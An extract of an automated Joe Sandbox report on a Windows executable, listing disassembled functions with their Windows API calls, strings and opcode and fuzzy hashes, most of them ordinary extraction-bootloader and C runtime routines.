Associated: 00000000.00000002.1670666035.00007FF652ED0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670794709.00007FF652EFC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671010337.00007FF652F13000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652ed0000_t8F7Ic986c.jbxd

Similarity

API ID: Message
String ID: 1.3.1$Failed to extract %s: decompression resulted in return code %d!$Failed to extract %s: failed to allocate temporary input buffer!$Failed to extract %s: failed to allocate temporary output buffer!$Failed to extract %s: inflateInit() failed with return code %d!$malloc
API String ID: 2030045667-2813020118
Opcode ID: 5dc8684a2cecf44269f5f0e1ce28f82f05211f012bd0d83bdec862f8be7225c5
Instruction ID: b572667fd735d1ab09e733ff8569aa201d89fed2f3c8d6100cc25e2ffb32be16
Opcode Fuzzy Hash: 5dc8684a2cecf44269f5f0e1ce28f82f05211f012bd0d83bdec862f8be7225c5
Instruction Fuzzy Hash: D6519D22A096A285EB60DB51EC403BA6391BB84798F4C413DEE4DEB785EFBCE545D700

Function 00007FF652EEF9C0 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(?,?,?,00007FF652EEFD5A,?,?,-00000018,00007FF652EEBB0B,?,?,?,00007FF652EEBA02,?,?,?,00007FF652EE698E), ref: 00007FF652EEFB3C
GetProcAddress.KERNEL32(?,?,?,00007FF652EEFD5A,?,?,-00000018,00007FF652EEBB0B,?,?,?,00007FF652EEBA02,?,?,?,00007FF652EE698E), ref: 00007FF652EEFB48

Strings

api-ms-, xrefs: 00007FF652EEFA86
ext-ms-, xrefs: 00007FF652EEFA99

Memory Dump Source

Source File: 00000000.00000002.1670712868.00007FF652ED1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652ED0000, based on PE: true

Associated: 00000000.00000002.1670666035.00007FF652ED0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670794709.00007FF652EFC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671010337.00007FF652F13000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652ed0000_t8F7Ic986c.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: 92e1c6cccb7ec25b4476ca22e51d2624e921c13e1215ab17a1d429f3080250c2
Instruction ID: 455373e0c1bfe121e2d0e11226f624022cb8320ed2d81fae9f4f2f02e7430fa0
Opcode Fuzzy Hash: 92e1c6cccb7ec25b4476ca22e51d2624e921c13e1215ab17a1d429f3080250c2
Instruction Fuzzy Hash: 3441E132B19A2381FA16DB16AC105B62396BF45B98F4D513DDD0EFB794EEBCE4458300

Function 00007FF652EEC80C Relevance: 10.8, APIs: 7, Instructions: 290
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF652EECC39

Memory Dump Source

Source File: 00000000.00000002.1670712868.00007FF652ED1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652ED0000, based on PE: true

Associated: 00000000.00000002.1670666035.00007FF652ED0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670794709.00007FF652EFC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671010337.00007FF652F13000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652ed0000_t8F7Ic986c.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 08457a1c6721881f4c11fed91b7cfb17c1058ae71b93dddd692bbf3e619047ea
Instruction ID: 8b5cbaf2da0721ea4757cbf26fe5d2555cc55c843bdbb5bfa0fbcc3a71662eaa
Opcode Fuzzy Hash: 08457a1c6721881f4c11fed91b7cfb17c1058ae71b93dddd692bbf3e619047ea
Instruction Fuzzy Hash: 45C1F623A0C7A791EB618B1498502BE3755FB80B88F5D2139DA4EB7791DEFCE846C300

Function 00007FF652ED8860 Relevance: 10.6, APIs: 7, Instructions: 63
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 00007FF652ED8880
OpenProcessToken.ADVAPI32 ref: 00007FF652ED8891
GetTokenInformation.KERNELBASE ref: 00007FF652ED88B6
GetLastError.KERNEL32 ref: 00007FF652ED88C0
GetTokenInformation.KERNELBASE ref: 00007FF652ED8900
ConvertSidToStringSidW.ADVAPI32 ref: 00007FF652ED891C
CloseHandle.KERNEL32 ref: 00007FF652ED8934

Memory Dump Source

Source File: 00000000.00000002.1670712868.00007FF652ED1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652ED0000, based on PE: true

Associated: 00000000.00000002.1670666035.00007FF652ED0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670794709.00007FF652EFC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671010337.00007FF652F13000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652ed0000_t8F7Ic986c.jbxd

Similarity

API ID: Token$InformationProcess$CloseConvertCurrentErrorHandleLastOpenString
String ID:
API String ID: 995526605-0
Opcode ID: 0a78fddd52e4a4b47c0abd3b9ff92470e3f80b7b026c685fad37238cb9e723cb
Instruction ID: fb61da6a65fef14c8a9792a61479714cbd6bd91582d344446e7c5d90f969e9a6
Opcode Fuzzy Hash: 0a78fddd52e4a4b47c0abd3b9ff92470e3f80b7b026c685fad37238cb9e723cb
Instruction Fuzzy Hash: 2C21993260C65281EB10DB55F94453AA3A1FFC57A8F58023DDA9C93AD4DFBCD4568700

Function 00007FF652ED8B80 Relevance: 9.1, APIs: 2, Strings: 4, Instructions: 59
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF652ED8860: GetCurrentProcess.KERNEL32 ref: 00007FF652ED8880
Part of subcall function 00007FF652ED8860: OpenProcessToken.ADVAPI32 ref: 00007FF652ED8891
Part of subcall function 00007FF652ED8860: GetTokenInformation.KERNELBASE ref: 00007FF652ED88B6
Part of subcall function 00007FF652ED8860: GetLastError.KERNEL32 ref: 00007FF652ED88C0
Part of subcall function 00007FF652ED8860: GetTokenInformation.KERNELBASE ref: 00007FF652ED8900
Part of subcall function 00007FF652ED8860: ConvertSidToStringSidW.ADVAPI32 ref: 00007FF652ED891C
Part of subcall function 00007FF652ED8860: CloseHandle.KERNEL32 ref: 00007FF652ED8934

LocalFree.KERNEL32(00000000,00007FF652ED3B4E), ref: 00007FF652ED8C0C
LocalFree.KERNEL32 ref: 00007FF652ED8C15

Strings

Security descriptor string length exceeds PATH_MAX!, xrefs: 00007FF652ED8C23
D:(A;;FA;;;%s)(A;;FA;;;%s), xrefs: 00007FF652ED8BE2
D:(A;;FA;;;%s), xrefs: 00007FF652ED8BF7
S-1-3-4, xrefs: 00007FF652ED8BC1

Memory Dump Source

Source File: 00000000.00000002.1670712868.00007FF652ED1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652ED0000, based on PE: true

Associated: 00000000.00000002.1670666035.00007FF652ED0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670794709.00007FF652EFC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671010337.00007FF652F13000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652ed0000_t8F7Ic986c.jbxd

Similarity

API ID: Token$FreeInformationLocalProcess$CloseConvertCurrentErrorHandleLastOpenString
String ID: D:(A;;FA;;;%s)$D:(A;;FA;;;%s)(A;;FA;;;%s)$S-1-3-4$Security descriptor string length exceeds PATH_MAX!
API String ID: 6828938-1817031585
Opcode ID: b6111afcc3eeb0b408ea35522252114c0c7814765020da058c7306c730e1b11f
Instruction ID: 0e572d05f9a62d37f22585e6969a8d7b97c99525aa22897262924a16ff28adab
Opcode Fuzzy Hash: b6111afcc3eeb0b408ea35522252114c0c7814765020da058c7306c730e1b11f
Instruction Fuzzy Hash: D4219032A1875281F710DB20FC056FA6260EF84788F8C153EE94DE3696DFBCE5418640

Function 00007FF652ED3F00 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 55
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32(?,00007FF652ED39CA), ref: 00007FF652ED3F34

Part of subcall function 00007FF652ED29C0: GetLastError.KERNEL32(00000000,00000000,00000000,00007FF652ED8AF2,?,?,?,?,?,?,?,?,?,?,?,00007FF652ED101D), ref: 00007FF652ED29F4
Part of subcall function 00007FF652ED29C0: MessageBoxW.USER32 ref: 00007FF652ED2AD0

Strings

Failed to get executable path., xrefs: 00007FF652ED3F3E
Failed to convert executable path to UTF-8., xrefs: 00007FF652ED3F70
GetModuleFileNameW, xrefs: 00007FF652ED3F45

Memory Dump Source

Source File: 00000000.00000002.1670712868.00007FF652ED1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652ED0000, based on PE: true

Associated: 00000000.00000002.1670666035.00007FF652ED0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670794709.00007FF652EFC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671010337.00007FF652F13000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652ed0000_t8F7Ic986c.jbxd

Similarity

API ID: ErrorFileLastMessageModuleName
String ID: Failed to convert executable path to UTF-8.$Failed to get executable path.$GetModuleFileNameW
API String ID: 2581892565-1977442011
Opcode ID: 7ef307d93855c796adb502a26685baad3249a75f128fd8c4618b636fbd62cd4f
Instruction ID: a3b8c7d9f08add37f88ab318ff21bf074529e4b88963432268d2c23e1c962f2f
Opcode Fuzzy Hash: 7ef307d93855c796adb502a26685baad3249a75f128fd8c4618b636fbd62cd4f
Instruction Fuzzy Hash: 27118721B1C56741FB259721EC513FA5364AF887CCF48043EE84EE6AD9EEDCE5458B00

Function 00007FF652EEDD10 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,?,00000000,00000000,00007FF652EEDCFB), ref: 00007FF652EEDE2C
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,?,00000000,00000000,00007FF652EEDCFB), ref: 00007FF652EEDEB7

Memory Dump Source

Source File: 00000000.00000002.1670712868.00007FF652ED1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652ED0000, based on PE: true

Associated: 00000000.00000002.1670666035.00007FF652ED0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670794709.00007FF652EFC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671010337.00007FF652F13000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652ed0000_t8F7Ic986c.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: e5bc4118b78d7803f2849d3b40dbb6165d02ed41efd1a206ffcb3739746c0941
Instruction ID: ddcd89b9d8b3b2f5f207e9e69154c7c701be9947f1915117d1dd30dd202e8fa3
Opcode Fuzzy Hash: e5bc4118b78d7803f2849d3b40dbb6165d02ed41efd1a206ffcb3739746c0941
Instruction Fuzzy Hash: EB91D262E1866385F760DF6598442BD2BA9AB11B8CF5C413DDE0EB7B94CFB8D442C300

Function 00007FF652EF04DC Relevance: 6.2, APIs: 4, Instructions: 162COMMON

Download Yara Rule

APIs

_get_daylight.LIBCMT ref: 00007FF652EF05CC
_get_daylight.LIBCMT ref: 00007FF652EF05DD
_get_daylight.LIBCMT ref: 00007FF652EF05EE
_isindst.LIBCMT ref: 00007FF652EF06B9

Memory Dump Source

Source File: 00000000.00000002.1670712868.00007FF652ED1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652ED0000, based on PE: true

Associated: 00000000.00000002.1670666035.00007FF652ED0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670794709.00007FF652EFC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671010337.00007FF652F13000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652ed0000_t8F7Ic986c.jbxd

Similarity

API ID: _get_daylight$_isindst
String ID:
API String ID: 4170891091-0
Opcode ID: a806384fd3dbc637569f566945d79e9d0f9a49a7dde5cce1babac435a7d8ed95
Instruction ID: 0825c4f3f0380bb8c4bc96f0df7f598ff4becd9e4f9def89b51c03c145496a32
Opcode Fuzzy Hash: a806384fd3dbc637569f566945d79e9d0f9a49a7dde5cce1babac435a7d8ed95
Instruction Fuzzy Hash: 95512872F052324AEB24CF24ED416BD27A1AB5035DF59413DED1EB2AE9DF7CA4428700

Function 00007FF652EE5EF0 Relevance: 6.1, APIs: 4, Instructions: 90fileCOMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF652EE5F1D
CreateFileW.KERNELBASE ref: 00007FF652EE5F5C
CloseHandle.KERNEL32 ref: 00007FF652EE5F91

Memory Dump Source

Source File: 00000000.00000002.1670712868.00007FF652ED1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652ED0000, based on PE: true

Associated: 00000000.00000002.1670666035.00007FF652ED0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670794709.00007FF652EFC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671010337.00007FF652F13000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652ed0000_t8F7Ic986c.jbxd

Similarity

API ID: CloseCreateFileHandle_invalid_parameter_noinfo
String ID:
API String ID: 1279662727-0
Opcode ID: 2e3e6935fd272a0e473f5669fe72b613a847a441e18d85c9910f5be84e911a30
Instruction ID: 1ea6041d9587343c3f5255c8e652f04261a71fe929dbb5d2934588ca1980f9af
Opcode Fuzzy Hash: 2e3e6935fd272a0e473f5669fe72b613a847a441e18d85c9910f5be84e911a30
Instruction Fuzzy Hash: E441D422D187A383E750CB219D103B96360FF95368F189338E69CA3AD5DFBCA5E58701

Function 00007FF652EDC3CC Relevance: 4.6, APIs: 3, Instructions: 94COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF652EDC59C: __scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FF652EDC5B0

__scrt_acquire_startup_lock.LIBCMT ref: 00007FF652EDC3F0
__scrt_release_startup_lock.LIBCMT ref: 00007FF652EDC45E
__scrt_get_show_window_mode.LIBCMT ref: 00007FF652EDC4B1

Memory Dump Source

Source File: 00000000.00000002.1670712868.00007FF652ED1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652ED0000, based on PE: true

Associated: 00000000.00000002.1670666035.00007FF652ED0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670794709.00007FF652EFC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671010337.00007FF652F13000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652ed0000_t8F7Ic986c.jbxd

Similarity

API ID: __scrt_acquire_startup_lock__scrt_dllmain_crt_thread_attach__scrt_get_show_window_mode__scrt_release_startup_lock
String ID:
API String ID: 3251591375-0
Opcode ID: 9d2a249925c3744b7bdec991b642967cea5aa1e4eae3f82ffa02bbb969e0fbb5
Instruction ID: 991e5e70f4f4c0e18e2962765fd7a0526e6b88d7c3def2a66d577b323ecbf0c6
Opcode Fuzzy Hash: 9d2a249925c3744b7bdec991b642967cea5aa1e4eae3f82ffa02bbb969e0fbb5
Instruction Fuzzy Hash: 1A310C12E5822341FB14AB64AC523B922919FC17CCF8C603DEA4EFB2D7DEECB4458251

Function 00007FF652EEA7E4 Relevance: 4.5, APIs: 3, Instructions: 14COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,00007FF652EEA7E0), ref: 00007FF652EEA7F5
TerminateProcess.KERNEL32(?,?,?,00007FF652EEA7E0), ref: 00007FF652EEA800
ExitProcess.KERNEL32 ref: 00007FF652EEA80F

Memory Dump Source

Source File: 00000000.00000002.1670712868.00007FF652ED1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652ED0000, based on PE: true

Associated: 00000000.00000002.1670666035.00007FF652ED0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670794709.00007FF652EFC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671010337.00007FF652F13000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652ed0000_t8F7Ic986c.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: a9ca9fd944998b9103efb0079ab816177775b60747cbceda43ee2d2e97830e0f
Instruction ID: f96b8681641c6347cf629e15b364e3039981c5c1666de6f8896f93004dc110fb
Opcode Fuzzy Hash: a9ca9fd944998b9103efb0079ab816177775b60747cbceda43ee2d2e97830e0f
Instruction Fuzzy Hash: 94D09E11F1872342FA146B706C9A07A12115F58B49F18647CC81FB6397CDBCA44E8289

Function 00007FF652ED8D80 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 20COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNELBASE ref: 00007FF652ED8DC0

Part of subcall function 00007FF652ED2C30: MessageBoxW.USER32 ref: 00007FF652ED2D05

Strings

Security descriptor is not initialized!, xrefs: 00007FF652ED8D90

Memory Dump Source

Source File: 00000000.00000002.1670712868.00007FF652ED1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652ED0000, based on PE: true

Associated: 00000000.00000002.1670666035.00007FF652ED0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670794709.00007FF652EFC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671010337.00007FF652F13000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652ed0000_t8F7Ic986c.jbxd

Similarity

API ID: CreateDirectoryMessage
String ID: Security descriptor is not initialized!
API String ID: 73271072-986317556
Opcode ID: cb4d7abd45f9f406bb8e9fa743bd3ea339ce9ab77a45f8f760c2574a3479da4c
Instruction ID: 07d3d537e5cb3390e9737d96659b7cf687a1b5636642f9577473cd460d7c45d5
Opcode Fuzzy Hash: cb4d7abd45f9f406bb8e9fa743bd3ea339ce9ab77a45f8f760c2574a3479da4c
Instruction Fuzzy Hash: 61E092B2A5874682EA509B24FC0526923A0FBA1358FD8133CE54CE73E4DFBCD1598B00

Function 00007FF652EE0A6C Relevance: 3.2, APIs: 2, Instructions: 177COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF652EE0AB0
_invalid_parameter_noinfo.LIBCMT ref: 00007FF652EE0BA7

Memory Dump Source

Source File: 00000000.00000002.1670712868.00007FF652ED1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652ED0000, based on PE: true

Associated: 00000000.00000002.1670666035.00007FF652ED0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670794709.00007FF652EFC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671010337.00007FF652F13000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652ed0000_t8F7Ic986c.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: cf177395047abfa4e851662a110b86e3e3c378c626585af56caf23d5c147307d
Instruction ID: d49d917d8b143eebed1e910014831b7035b532e038115b222fc3940aa5bde812
Opcode Fuzzy Hash: cf177395047abfa4e851662a110b86e3e3c378c626585af56caf23d5c147307d
Instruction Fuzzy Hash: 5C510621B0926747EA6A9E25DC006BA6291BF44BACF1C473CDD6DB77C5DEBCE4058600

Function 00007FF652EECEE4 Relevance: 3.0, APIs: 2, Instructions: 46COMMONLIBRARYCODE

Download Yara Rule

APIs

SetFilePointerEx.KERNELBASE(?,?,?,?,?,00007FF652EED07D), ref: 00007FF652EECF30
GetLastError.KERNEL32(?,?,?,?,?,00007FF652EED07D), ref: 00007FF652EECF3A

Memory Dump Source

Source File: 00000000.00000002.1670712868.00007FF652ED1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652ED0000, based on PE: true

Associated: 00000000.00000002.1670666035.00007FF652ED0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670794709.00007FF652EFC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671010337.00007FF652F13000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652ed0000_t8F7Ic986c.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: 5a688e03e61d2ba522e05303caa220c229835d3c67e189c94220df843fa187e3
Instruction ID: a4842befb3767b977b887cb59cc8246e83cd831040a1f95da28daa4c8ab44721
Opcode Fuzzy Hash: 5a688e03e61d2ba522e05303caa220c229835d3c67e189c94220df843fa187e3
Instruction Fuzzy Hash: 3C11B262618AA281DA108B26F80406973A1AB44BF8F585339EA7DA77E9CFBCD0558700

Function 00007FF652EE88E0 Relevance: 3.0, APIs: 2, Instructions: 35timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

FileTimeToSystemTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF652EE875D), ref: 00007FF652EE8903
SystemTimeToTzSpecificLocalTime.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF652EE875D), ref: 00007FF652EE8919

Memory Dump Source

Source File: 00000000.00000002.1670712868.00007FF652ED1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652ED0000, based on PE: true

Associated: 00000000.00000002.1670666035.00007FF652ED0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670794709.00007FF652EFC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671010337.00007FF652F13000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652ed0000_t8F7Ic986c.jbxd

Similarity

API ID: Time$System$FileLocalSpecific
String ID:
API String ID: 1707611234-0
Opcode ID: f486ed6e5c3c2cbaa4962bae20fc4c636bf07173bccdb3ad29f0a9c75d11b156
Instruction ID: d226e023c1c10ddf90df010b52b53cba4ca9ad6d398bdd3123fd4e9f66a3c2c9
Opcode Fuzzy Hash: f486ed6e5c3c2cbaa4962bae20fc4c636bf07173bccdb3ad29f0a9c75d11b156
Instruction Fuzzy Hash: B501A53291C66282E7609F14F80523AB3B1FB81B69F64433AE7AD915E8DFBDD004DB10

Function 00007FF652EEB700 Relevance: 3.0, APIs: 2, Instructions: 19memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(?,?,?,00007FF652EF3B72,?,?,?,00007FF652EF3BAF,?,?,00000000,00007FF652EF4075,?,?,00000000,00007FF652EF3FA7), ref: 00007FF652EEB716
GetLastError.KERNEL32(?,?,?,00007FF652EF3B72,?,?,?,00007FF652EF3BAF,?,?,00000000,00007FF652EF4075,?,?,00000000,00007FF652EF3FA7), ref: 00007FF652EEB720

Memory Dump Source

Source File: 00000000.00000002.1670712868.00007FF652ED1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652ED0000, based on PE: true

Associated: 00000000.00000002.1670666035.00007FF652ED0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670794709.00007FF652EFC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671010337.00007FF652F13000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652ed0000_t8F7Ic986c.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: c0904582055235206b637bb6fb630becad907d152bf6a94a3ba36ee294329771
Instruction ID: e53607224b42e3599c3cb732b2a3c75d0cd128cbaef37e03f1b0a0d00d114692
Opcode Fuzzy Hash: c0904582055235206b637bb6fb630becad907d152bf6a94a3ba36ee294329771
Instruction Fuzzy Hash: 12E0C251F0D22342FF18ABF2ACE547912515F88B58F5C153CC90DFB391EEACA89A8200

Function 00007FF652EE8ECC Relevance: 3.0, APIs: 2, Instructions: 12fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNELBASE ref: 00007FF652EE8ED0
GetLastError.KERNEL32 ref: 00007FF652EE8EDA

Memory Dump Source

Source File: 00000000.00000002.1670712868.00007FF652ED1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652ED0000, based on PE: true

Associated: 00000000.00000002.1670666035.00007FF652ED0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670794709.00007FF652EFC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671010337.00007FF652F13000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

